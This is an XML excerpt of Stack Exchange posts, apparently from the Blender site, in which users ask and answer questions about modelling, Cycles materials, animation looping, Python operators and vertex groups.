  <row Id="24883" PostTypeId="1" CreationDate="2015-02-16T23:11:24.313" Score="2" ViewCount="1938" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ws4a1.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am designing a fader and I want to have the groove be deep. I don't know how to extrude the grey long rectangle into the white face. They are two seperate meshes and I need to show some depth for when I render with light (the fader should look like it is actually sliding in a groove).&lt;/p&gt;&#xA;" OwnerUserId="11502" LastEditorUserId="12" LastEditDate="2015-02-16T23:39:46.007" LastActivityDate="2015-02-16T23:53:10.500" Title="How do I extrude an object into another creating depth?" Tags="&lt;modeling&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24884" PostTypeId="1" AcceptedAnswerId="24885" CreationDate="2015-02-16T23:32:13.623" Score="6" ViewCount="11297" Body="&lt;p&gt;How do I turn a mesh into a black mesh with a matte finish? I tried all the texture types. &#xA;I am in cycles render.&lt;/p&gt;&#xA;" OwnerUserId="11502" LastEditorUserId="12" LastEditDate="2015-02-16T23:41:28.143" LastActivityDate="2015-02-16T23:50:50.750" Title="How do I make my mesh have a matte black finish in cycles?" Tags="&lt;materials&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24885" PostTypeId="2" ParentId="24884" CreationDate="2015-02-16T23:50:50.750" Score="7" Body="&lt;p&gt;Matte simply means diffuse.  So for a pure matte, black shader I would simply use a &lt;em&gt;diffuse shader&lt;/em&gt; with the color set to &lt;em&gt;almost&lt;/em&gt; black (HSV about [0,0,0.98]).  If it is pure black, it will not reflect any light and thus not look good.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Photorealism note:  Almost nothing in the real world is purely diffuse.  To make your material look much better and more believable you might want to mix in (with a factor of about 0.05) of a&lt;/em&gt; glossy shader &lt;em&gt;with a roughness of around 0.12.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="5705" LastActivityDate="2015-02-16T23:50:50.750" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24886" PostTypeId="1" CreationDate="2015-02-16T23:51:48.700" Score="29" ViewCount="7566" Body="&lt;p&gt;I need to know how to make the buttons in my blender project look the same as in this photo. Mine all look pale, even with the emission material. Is there anyway I can get my buttons like this?&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/21hAj.jpg&quot; alt=&quot;reference image&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="11502" LastEditorUserId="3127" LastEditDate="2015-04-27T13:56:03.763" LastActivityDate="2015-10-26T00:49:20.700" Title="How do I emit light from inside a object?" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;&lt;materials&gt;&lt;light&gt;&lt;shaders&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="13" ContentLicense="CC BY-SA 3.0" />
  <row Id="24887" PostTypeId="2" ParentId="24883" CreationDate="2015-02-16T23:53:10.500" Score="7" Body="&lt;p&gt;Select the object you want to use to create the groove, &lt;kbd&gt;Tab&lt;/kbd&gt; into &lt;em&gt;Edit&lt;/em&gt; mode and press &lt;kbd&gt;E&lt;/kbd&gt; and extrude it to give it some depth (as deep as you want the groove to be). Next select the panel (the white face) and add a &lt;em&gt;Boolean&lt;/em&gt; modifier to it selecting the extruded object as the input, change the operation to &lt;em&gt;Difference&lt;/em&gt; and then apply the modifier if you are satisfied with the results. Finally, delete the extruded object and you can enter edit mode to tweak as desired.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gZosr.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12" LastActivityDate="2015-02-16T23:53:10.500" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="24888" PostTypeId="2" ParentId="24886" CreationDate="2015-02-17T00:45:07.447" Score="55" Body="&lt;p&gt;Cycles is a physically based render, and often the best approach is physical recreation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Components:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Light source&lt;/li&gt;&#xA;&lt;li&gt;Light cover&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Light Source:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This would simply be an emission shader since it is literally a lightblub or LED. I took the button model, and scaled it down slightly on the &lt;code&gt;X&lt;/code&gt; and &lt;code&gt;Y&lt;/code&gt; axis. I then drastically scaled it on the z axis, and moved it down so the top of the source would to be flush with the of the panel that the button was set into.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tQT2w.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Cover:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The cover allows light to pass through it, and is therefore &lt;strong&gt;Translucent&lt;/strong&gt; so a simple translucent node will do the trick. It is also colored, which can be emulated by giving the translucent node a color:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nGauP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The shape is also important: I added a small bevel to the edges to help see the look.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Final Image&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/yT9GN.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/19/&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=19&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After some experimentation and some research, I discovered that using Sub Surface Scattering (SSS), and placing the light under the button instead of inside, would produce more accurate and better looking results. And it sure did... it also produced exponentially longer render times... even on GPU (using test build)!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Image with SSS:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7tfVZ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/MVrGr.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The major difference is that the light source is under, not inside the button, and is scaled down on the &lt;code&gt;X&lt;/code&gt; and &lt;code&gt;Y&lt;/code&gt; axis. This method fixed the artifacts that were occurring on the corners, and is more technically accurate. I'd still use the first one, it is way way faster.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/16/&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=16&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3127" LastEditorUserId="-1" LastEditDate="2017-03-14T09:17:19.773" LastActivityDate="2015-03-06T18:34:21.687" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="24889" PostTypeId="2" ParentId="24881" CreationDate="2015-02-17T01:12:57.557" Score="2" Body="&lt;p&gt;I think you are using &lt;strong&gt;cycles&lt;/strong&gt; and trying to use the &lt;strong&gt;texture node editor&lt;/strong&gt; which you can't do cause there is no way to use those texture in cycles ,so to use this node editor you should be using &lt;strong&gt;blender render&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-02-17T01:12:57.557" CommentCount="11" ContentLicense="CC BY-SA 3.0" />
  <row Id="24892" PostTypeId="1" AcceptedAnswerId="24897" CreationDate="2015-02-17T04:41:45.320" Score="0" ViewCount="329" Body="&lt;p&gt;I am making a simple game. Setting the Box to dynamic and my armature and character to static , with ghost option activated  so that it won't collide with the dynamic motion box. However , I got myself into a weird situation which had never happen before.When i  play the game , the character was standing on the floor as i wanted . But the character change its shape when i tried to move it . Walking right and left doesn't seem to be a problem but when i press w to walk infront , it flew off to the mid sky and when i press s to move backwards , it went out of shape like the picture below show. Need a solution as fast as possible. &#xA;&lt;img src=&quot;https://i.stack.imgur.com/BEooS.png&quot; alt=&quot;My character went out of shape&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to save the file so i could upload it here to be more specific. But after i save it and open it in another blender window . This is what i get.&lt;img src=&quot;https://i.stack.imgur.com/766eO.png&quot; alt=&quot;After saving&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="11643" LastEditorUserId="11643" LastEditDate="2015-02-17T07:23:30.890" LastActivityDate="2015-02-17T07:23:30.890" Title="BGE Character dynamic" Tags="&lt;game-engine&gt;&lt;armature&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24893" PostTypeId="1" CreationDate="2015-02-17T04:47:20.600" Score="2" ViewCount="1111" Body="&lt;p&gt;I am doing an animation and in graph editor i need to interpolate some graphs. I select the graph point by point but it is not comfortable. Is there any shortcuts to select the graph? &#xA;&lt;img src=&quot;https://i.stack.imgur.com/XCkMy.png&quot; alt=&quot;graph editor&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="11289" LastActivityDate="2015-02-17T06:19:02.960" Title="How to select a graph in graph editor" Tags="&lt;animation&gt;&lt;blender-internal-render-engine&gt;&lt;nla-editor&gt;&lt;dopesheet&gt;&lt;graph-editor&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24894" PostTypeId="1" CreationDate="2015-02-17T06:08:19.777" Score="1" ViewCount="198" Body="&lt;p&gt;I know that the these forms like to have questions that can be nicely answered, and I might be slightly passed that line... But anyway, what are the blender game engine development ideas? Is it still a part of the main focus of development? Or is it just a side feature that is worked on now and then.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I read the recent patch notes, and some nice new features has been added, but will it (or is it already) get on/close the same level as the mainstream engines? e.g. Unity, Unreal, or Cry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I ask this because the posts/articles I've read about the blender engine is quite outdated, 3 or 4 years old, and I want to know how the blender engine is standing relative to other engines out there today.&lt;/p&gt;&#xA;" OwnerUserId="11341" LastActivityDate="2015-02-17T07:34:34.063" Title="Blender game engine development directions?" Tags="&lt;game-engine&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24895" PostTypeId="2" ParentId="24893" CreationDate="2015-02-17T06:19:02.960" Score="3" Body="&lt;p&gt;To select a single &quot;curve&quot; in the graph editor, select a point and hover over it and hit &lt;kbd&gt;L&lt;/kbd&gt; to select all the points, hit &lt;kbd&gt;A&lt;/kbd&gt;. To select an area of points, hit &lt;kbd&gt;B&lt;/kbd&gt; and use the box select tool.&lt;/p&gt;&#xA;" OwnerUserId="3127" LastActivityDate="2015-02-17T06:19:02.960" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24896" PostTypeId="1" CreationDate="2015-02-17T06:30:48.427" Score="0" ViewCount="83" Body="&lt;p&gt;So from the previous posts regarding the same I've learnt how to loop the keyframes. But when I do loop it by selecting all points (A) on the F-graph curve and then (Shift+E) on the graph and choosing the option, it doesn't loop the whole tail. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first cycle is perfect. The tail has 5 bones and they all move.&#xA;But after the first cycle only the first bone moves.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I doing wrong?&lt;/p&gt;&#xA;" OwnerUserId="11644" LastActivityDate="2015-02-17T06:30:48.427" Title="Cat's Tail Not Looping Correctly" Tags="&lt;animation&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24897" PostTypeId="2" ParentId="24892" CreationDate="2015-02-17T07:01:10.860" Score="2" Body="&lt;p&gt;After checking my settings , i finally found a solution.&#xA;It appears that after animating my character , i didn't turn off the auto-keyframe button which is in the animating layout. Thus , when i move around my character , it automatically set location to the character meshs. Which corrupt with my armature and dynamic.So i deleted my character meshs action editor and it fixed it .&#xA;Hope this will help people who will come across this problem like me .&#xA;Remember to turn off your auto-keyframe button after you done animation. &#xA;Cheers and have a nice day.&lt;/p&gt;&#xA;" OwnerUserId="11643" LastActivityDate="2015-02-17T07:01:10.860" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24898" PostTypeId="1" AcceptedAnswerId="24908" CreationDate="2015-02-17T07:08:55.243" Score="2" ViewCount="1490" Body="&lt;p&gt;I've looped an animation on Blender. But how do I export this loop into Unity? I've tried exporting as both Fbx and blend extensions, but it plays only once.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas anyone?&lt;/p&gt;&#xA;" OwnerUserId="11644" LastActivityDate="2015-02-18T08:24:42.227" Title="Exporting loops to Unity?" Tags="&lt;animation&gt;&lt;export&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24899" PostTypeId="2" ParentId="24459" CreationDate="2015-02-17T07:16:41.110" Score="0" Body="&lt;p&gt;i learnt of copying through script from another post. And here is what i have changed to suit this purpose.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;active_obj = bpy.context.object&#xA;&#xA;for obj in bpy.context.selected_objects:&#xA;    if obj != active_obj:&#xA;        # resolution U&#xA;        obj.data.resolution_u = active_obj.data.resolution_u &#xA;        # We could also access other proerties like bevel&#xA;        obj.data.bevel_depth = active_obj.data.bevel_depth&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="778" LastActivityDate="2015-02-17T07:16:41.110" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24900" PostTypeId="2" ParentId="24894" CreationDate="2015-02-17T07:34:34.063" Score="4" Body="&lt;p&gt;Ton Roosendaal covers this in the &lt;a href=&quot;http://code.blender.org/index.php/2013/06/blender-roadmap-2-7-2-8-and-beyond/&quot; rel=&quot;nofollow&quot;&gt;Blender roadmap – 2.7, 2.8 and beyond&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;What should then be dropped is the idea to make Blender have an&#xA;  embedded “true” game engine. We should acknowledge that we never&#xA;  managed to make something with the portability and quality of Unreal&#xA;  or Crysis… or even Unity3D. And Blender’s GPL license is not helping&#xA;  here much either.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If you want to develop a game today you can model assets with blender, but should better pick another game engine. &lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2015-02-17T07:34:34.063" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="24901" PostTypeId="1" CreationDate="2015-02-17T07:47:17.837" Score="1" ViewCount="231" Body="&lt;p&gt;How to bake all rigid body dynamics via CLI? There are methods described over internet to bake fluid or soft bodies, but for rigid bodies I didn't find&lt;/p&gt;&#xA;&lt;h1&gt;UPD&lt;/h1&gt;&#xA;&lt;p&gt;I've figured out that this can be done with such simple script:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;bpy.ops.ptcache.free_bake_all()&#xA;bpy.ops.ptcache.bake_all()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;then run:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$ blender --background render_scene4.blend --python bake.py&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;And it seems to work because each frame baking time is similar to simulation time in blender GUI&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;BUT&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;After baking is finished (it reports &lt;code&gt;bake: done!&lt;/code&gt;) I open the file in Blender.. And no bake data there. How to persist baking results?&lt;/p&gt;&#xA;" OwnerUserId="11589" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-02-17T10:02:59.237" Title="How to save (persist) bpy.ops.ptcache.bake_all() results?" Tags="&lt;python&gt;&lt;animation&gt;&lt;rigid-body-simulation&gt;&lt;command-line&gt;" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24902" PostTypeId="2" ParentId="24877" CreationDate="2015-02-17T07:55:50.187" Score="2" Body="&lt;p&gt;The texture script there still works in 2.73, but there are a couple points that you may need to check.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Render engine needs to be set to Blender Render, the sample script is not setup to work with cycles.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The viewport shading settings. The texture will not show if the viewport is displayed in solid shading. In Textured shading you also need to enable GLSL instead of the default Multitexture. In Material shading the texture will show. These options will only show the image part of the texture, you will only see the full result of the texture in rendered display of the viewport or if you render an image (&lt;kbd&gt;F12&lt;/kbd&gt;).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The Viewport shading mode can be found in the header of the 3dview -&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dcPKA.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;GLSL shading can be enabled in the Shading panel of the properties sidebar (press &lt;kbd&gt;N&lt;/kbd&gt;) -&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7hNTT.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to adjust the script to work with cycles &lt;a href=&quot;https://blender.stackexchange.com/q/24064/935&quot;&gt;this question&lt;/a&gt; might get you started.&lt;/p&gt;&#xA;" OwnerUserId="935" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.987" LastActivityDate="2015-02-17T07:55:50.187" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24903" PostTypeId="1" AcceptedAnswerId="24904" CreationDate="2015-02-17T08:11:26.607" Score="3" ViewCount="674" Body="&lt;p&gt;In my addon, I have a button that launches me an operator, and I want the same button gives me another operator (modal operator).&#xA;It is possible to launch two operators with the same button?&#xA;My modal operator :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def modal(self, context, event):&#xA;    if event.type == 'RIGHTMOUSE':&#xA;       ...code...&#xA;    return {'PASS_THROUGH'}&#xA;&#xA;def execute(self, context):&#xA;    wm = context.window_manager&#xA;    wm.modal_handler_add(self)&#xA;    return {'RUNNING_MODAL'}      &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="9525" LastEditorUserId="9525" LastEditDate="2015-02-17T10:00:39.973" LastActivityDate="2015-02-17T10:00:39.973" Title="Two operators with the same button, it's possible?" Tags="&lt;python&gt;&lt;interface&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24904" PostTypeId="2" ParentId="24903" CreationDate="2015-02-17T09:01:48.777" Score="4" Body="&lt;p&gt;Check Text Editor Templates: &lt;em&gt;Operator Simple&lt;/em&gt; and &lt;em&gt;Operator Modal&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Imagine the modal operator has &lt;code&gt;bl_idname = &quot;object.some_generic_modal&quot;&lt;/code&gt;. In the execute function of your other (non modal) operator you could make a direct operator call:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def execute(self, context):&#xA;    # your stuff&#xA;&#xA;    # call the other operator&#xA;    bpy.ops.object.some_generic_modal()&#xA;&#xA;    return {'FINISHED'}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, to avoid the separation and extra boilerplate, you might want to stick your &lt;em&gt;one-off&lt;/em&gt; code in the &lt;code&gt;invoke&lt;/code&gt; of the modal operator and call that directly instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To clarify: with the term &lt;em&gt;one-off&lt;/em&gt; code I meant the code which just needs to be executed once, prior to the continuous modal operator.&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2015-02-17T09:59:08.237" LastActivityDate="2015-02-17T09:59:08.237" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="24905" PostTypeId="2" ParentId="24866" CreationDate="2015-02-17T09:04:04.043" Score="1" Body="&lt;p&gt;The steps are excessive and lead to confusion. The first part wants you to remove vertices from the group that you don't want deformed by the bone, you don't have any extra vertices assigned to vertex groups so can skip the first part.&lt;/p&gt;&#xA;&lt;p&gt;The second part is what you want to do -&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Then press the A key in the 3D View window to deselect everything. Press the B key to &lt;em&gt;[start]&lt;/em&gt; Box Select mode. &lt;em&gt;[left click and]&lt;/em&gt; Drag over the UpperLeg.L bone. TIP: You may need to repeat this step to get all the vertices selected. Under Vertex Groups, left-click Assign. Press the A key to deselect everything.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;So you want to select all the vertices near the Upperleg.L bone that you want to move with that bone. You can also press &lt;kbd&gt;C&lt;/kbd&gt; to paint select vertices, use the scroll wheel to increase/decrease the size of the circle you select with, press &lt;kbd&gt;Esc&lt;/kbd&gt; to exit paint select mode. Once the vertices are selected, ensure you have Upperleg.L selected in the vertex group list (also check that the weight slider is at 1.0) and click the assign button. Now if you go into pose mode for the armature, moving the Upperleg.L will move the specified vertices with it.&lt;/p&gt;&#xA;&lt;p&gt;Repeat for other bones.&lt;/p&gt;&#xA;&lt;p&gt;I would recommend you have a look at &lt;a href=&quot;https://docs.blender.org/manual/en/latest/sculpt_paint/weight_paint/index.html#weight-paint&quot; rel=&quot;nofollow noreferrer&quot;&gt;weight painting&lt;/a&gt; for an easier method to what you are doing.&lt;/p&gt;&#xA;" OwnerUserId="935" LastEditorUserId="15924" LastEditDate="2020-10-27T03:35:35.260" LastActivityDate="2020-10-27T03:35:35.260" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="24906" PostTypeId="2" ParentId="24858" CreationDate="2015-02-17T09:59:05.950" Score="2" Body="&lt;p&gt;Bones deform vertices that belong to a &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Meshes/Vertex_Groups/Vertex_Groups&quot; rel=&quot;nofollow noreferrer&quot;&gt;vertex group&lt;/a&gt; of the same name as the bone. You can manually assign and adjust the weight a vertex has for each group.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While in edit mode the vertex groups panel looks like this -&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7x7DM.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The assign button will assign the selected vertices to the selected group with the current weight setting. The remove button will remove the selected vertices from the selected group.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the properties sidebar there is a Vertex Weights panel that can help, it can be elusive as it only shows if a single selected vertex is assigned to one or more vertex groups or multiple selected vertices that belong to the same group (only the one common group will show).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/SYqXw.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is also the &lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/Modeling/Show_Vertex_Group_Weights&quot; rel=&quot;nofollow noreferrer&quot;&gt;show vertex groups weight addon&lt;/a&gt; which you can download from &lt;a href=&quot;https://git.blender.org/gitweb/gitweb.cgi/blender-addons-contrib.git/blob_plain/HEAD:/mesh_show_vgroup_weights.py&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7LJgC.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2015-02-17T09:59:05.950" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24907" PostTypeId="1" CreationDate="2015-02-17T10:00:19.170" Score="2" ViewCount="3649" Body="&lt;p&gt;I would be interested in creating a mesh (2D or 3D) to be used in a finite element solver. Does blender have a plugin that can do this? If not, how difficult would it be to write one myself? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What this plugin should be able to do is 1) partition a mesh into finite elements using some rule, 2) be able to label boundaries and different subdomains somehow and 3) export the mesh in some format that can be read by finite element solver I want to use (in my case, this would be FEniCS).&lt;/p&gt;&#xA;" OwnerUserId="11645" LastActivityDate="2016-03-08T00:15:04.717" Title="Finite element mesh generation with blender" Tags="&lt;mesh&gt;&lt;export&gt;&lt;physics&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24908" PostTypeId="2" ParentId="24898" CreationDate="2015-02-17T10:33:01.670" Score="2" Body="&lt;p&gt;you should actually loop it in unity. when you will click on file on explorer on inspector go to animation tab select &quot;loop time&quot; option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In unity 4.6.1f version.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note option may depend on your version of unity3D&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For using it in animation controller.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;click on the object in explorer&lt;/p&gt;&#xA;&#xA;&lt;p&gt;on inspector goto rig tab choose animation type to legacy&lt;/p&gt;&#xA;&#xA;&lt;p&gt;now go to animation tab select animation you want to loop further scroll down check add loop frame and make sure warp mode is loop then click apply.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now add game object in scene add animation controller and mark play automatically.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This method worked for me. Do let me know if you find some problem.&lt;/p&gt;&#xA;" OwnerUserId="11646" LastEditorUserId="11646" LastEditDate="2015-02-18T08:24:42.227" LastActivityDate="2015-02-18T08:24:42.227" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="25909" PostTypeId="1" CreationDate="2015-02-17T14:35:17.220" Score="1" ViewCount="1955" Body="&lt;p&gt;The tree is a curve and has a windSway modifier. The leaves is a mesh and has a windSway modifier. How I convert the tree to a mesh and make it to follow treeArm &amp;amp; animation like the leaves?&lt;/p&gt;&#xA;" OwnerUserId="12647" LastActivityDate="2021-03-30T00:07:15.913" Title="Sapling tree to a mesh and follow the treeArm Animation like the leaves?" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;modifiers&gt;&lt;bezier-curves&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="25910" PostTypeId="1" CreationDate="2015-02-17T14:57:46.850" Score="0" ViewCount="164" Body="&lt;p&gt;I have a landscape with a lighthouse appended into it.  I saved the file and exited.  Now when I try to open it the search window goes to the list of items to be appended.  When I choose the lighthouse the file fails to open.  I suppose it may be corrupted.  If so, is there a backup that I could open instead?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since I did decide that the file was corrupted, I changed the file extension of the backup file from &quot;.blend1&quot; to &quot;.blend&quot;.  I did append the file name as well.  The backup was the same as the corrupted file, minus the last thing I did before saving and leaving the file.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This sure was better than having to start from scratch.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for the comment. &lt;/p&gt;&#xA;" OwnerUserId="8332" LastEditorUserId="8332" LastEditDate="2015-02-17T17:05:53.267" LastActivityDate="2015-02-17T17:05:53.267" Title="How do I open a file that has another Blender file Appended to it?" Tags="&lt;append&gt;" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="25911" PostTypeId="1" AcceptedAnswerId="26342" CreationDate="2015-02-17T15:10:02.900" Score="1" ViewCount="1627" Body="&lt;p&gt;I have had an amazing problem about IK and FK mode. Snap is used to copy the animation from IK to FK or from FK to IK. So, normally, When i do an animation using IK and FK mode, I can finally run it in each mode without loss for any motion. but in &lt;a href=&quot;http://www.pasteall.org/blend/34672&quot; rel=&quot;nofollow&quot;&gt;http://www.pasteall.org/blend/34672&lt;/a&gt; , I remark that when i run it in IK mode for all bones, the hands did not move. What is the problem?&lt;/p&gt;&#xA;" OwnerUserId="11289" LastEditorUserId="11289" LastEditDate="2015-02-26T15:32:50.563" LastActivityDate="2015-04-02T09:35:28.313" Title="Snap FK/IK does not copy the motion" Tags="&lt;animation&gt;&lt;blender-internal-render-engine&gt;&lt;nla-editor&gt;&lt;snapping&gt;&lt;dopesheet&gt;" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
